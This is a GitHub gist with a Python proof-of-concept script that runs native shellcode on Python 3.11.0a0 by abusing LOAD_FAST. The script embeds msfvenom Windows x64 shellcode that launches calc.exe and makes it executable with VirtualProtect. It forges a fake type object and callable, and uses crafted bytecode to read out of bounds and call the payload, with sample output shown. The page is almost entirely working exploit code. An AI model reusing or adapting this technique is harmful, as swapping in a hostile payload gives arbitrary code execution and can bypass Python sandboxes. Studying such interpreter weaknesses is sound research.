Skip to content

Instantly share code, notes, and snippets.

@JuliaPoo
Last active November 16, 2023 16:23
Show Gist options
  • Save JuliaPoo/2a24ea3743770cf3e25ff45c23a512b5 to your computer and use it in GitHub Desktop.
Save JuliaPoo/2a24ea3743770cf3e25ff45c23a512b5 to your computer and use it in GitHub Desktop.
Running shellcode on Python 3.11.0a0 64-bit by abusing LOAD_FAST
# Python 3.11.0a0 64-bit
import sys
import opcode
import types
import ctypes
# PyBytesObject.ob_sval
PyBytesObject_ob_sval_offset = 0x20
# _frame.f_localsplus
_frame_f_localsplus_offset = 0x68
def inst(opc:str, arg:int=0):
"Makes life easier in writing python bytecode"
nb = max(1,-(-arg.bit_length()//8))
ab = arg.to_bytes(nb, 'big')
ext_arg = opcode.opmap['EXTENDED_ARG']
inst = bytearray()
for i in range(nb-1):
inst.append(ext_arg)
inst.append(ab[i])
inst.append(opcode.opmap[opc])
inst.append(ab[-1])
return bytes(inst)
retobj = "Success!! ^-^"
shellcode = b"".join([
b"\x48\x81\xec\x00\x10\x00\x00", # sub rsp,0x1000
b"\x50\x53\x51\x52\x55", # push rax, rbx, rcx, rdx, rbp
# msfvenom -p windows/x64/exec CMD="calc.exe" EXITFUNC=none -f python
# Modified to not crash the interpreter,
# at least until it finished running this file.
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41",
b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48",
b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f",
b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c",
b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52",
b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b",
b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0",
b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56",
b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9",
b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0",
b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58",
b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44",
b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0",
b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a",
b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48",
b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00",
b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x1f\x01\x00\x00\x41",
b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xaa\xc5\xe2\x5d\x41",
b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06",
b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a",
b"\x00\x59\x41\x89\xda\xff\xd5",
b"\x48\x81\xc4\x38\x00\x00\x00", # add rsp,0x38
b"\x5D\x5A\x59\x5B\x58", # pop rax, rbx, rcx, rdx, rbp
b"\x48\x81\xc4\x00\x10\x00\x00", # add rsp,0x1000
b"\x48\xb8" + id(retobj).to_bytes(8, 'little'), # mov rax, <retobj addr>
b"\xc3", # ret
b"calc.exe\x00",
])
shellcode_addr = id(shellcode) + PyBytesObject_ob_sval_offset
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
old = ctypes.c_long(1)
res = VirtualProtect(
ctypes.c_void_p(shellcode_addr),
len(shellcode), 0x40, ctypes.byref(old))
print("shellcode addr:", hex(shellcode_addr))
fake_typeobject = bytearray(b'A'*0x190)
fake_typeobject[0x038:0x038+8] = (0x10).to_bytes(8, 'little') # tp_vectorcall_offset
fake_typeobject[0x080:0x080+8] = (0x1).to_bytes(8, 'little') # tp_call
fake_typeobject[0x0a8:0x0a8+8] = (0x800).to_bytes(8, 'little') # tp_flags
fake_typeobject = bytes(fake_typeobject)
fake_typeobject_addr = id(fake_typeobject) + PyBytesObject_ob_sval_offset
fake_callable = bytearray(b'a'*0x18)
fake_callable[0x008:0x008+8] = fake_typeobject_addr.to_bytes(8, 'little') # ob_type
fake_callable[0x010:0x010+8] = shellcode_addr.to_bytes(8, 'little') # shellcode
fake_callable = bytes(fake_callable)
fake_callable_addr = id(fake_callable) + PyBytesObject_ob_sval_offset
print("function addr:", hex(fake_callable_addr))
control_data = fake_callable_addr.to_bytes(8,'little')
control_data_addr = id(control_data) + PyBytesObject_ob_sval_offset
print("control_data addr:", hex(control_data_addr))
# Runs `return id(sys._getframe())`
bytecode1 = b"".join([
# Get address of its frame and return
inst('LOAD_CONST', 0), # Load id
inst('LOAD_CONST', 1), # Load sys._getframe
inst('CALL_FUNCTION', 0),
inst('CALL_FUNCTION', 1),
inst('RETURN_VALUE')
])
# Returns *(fastlocals[idx])
bytecode2 = lambda idx: b"".join([
inst('LOAD_FAST', idx),
inst('RETURN_VALUE')
])
def make_call_shellcode(): pass
def assign_bytecode(bytecode):
global make_call_shellcode
make_call_shellcode.__code__ = types.CodeType(
0, # argcount
0, # posonlyargcount
0, # kwonlyargcount
20, # nlocals (big enough)
20, # stacksize (big enough)
0, # flags
bytecode, # codestring
(id, sys._getframe), # constants
(), # names
('a',), # varnames
"", # filename
"", # name
0, # firstlineno
b"", # linetable
b"", # exceptiontable
)
# Get frame address by loading bytecode1
assign_bytecode(bytecode1)
frame_addr = make_call_shellcode()
print("frame addr:", hex(frame_addr))
# offset + frame_addr + idx*ptr_size = addr
# idx = (addr - offset - frame_addr)//ptr_size
idx = (control_data_addr - _frame_f_localsplus_offset - frame_addr)//8
print("index:", hex(idx))
# Replace the bytecode to return *(fastlocals[idx])
assign_bytecode(bytecode2(idx))
# Returns our call gadget
run = make_call_shellcode()
# Run shellcode
print("shellcode:", run())
print('done')
# Output
# > shellcode addr: 0x1dfd49a49f0
# > function addr: 0x1dfd4e2c550
# > control_data addr: 0x1dfd4e2b380
# > frame addr: 0x1dfd4990e40
# > index: 0x9349b
# > shellcode: Success!! ^-^
# > done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment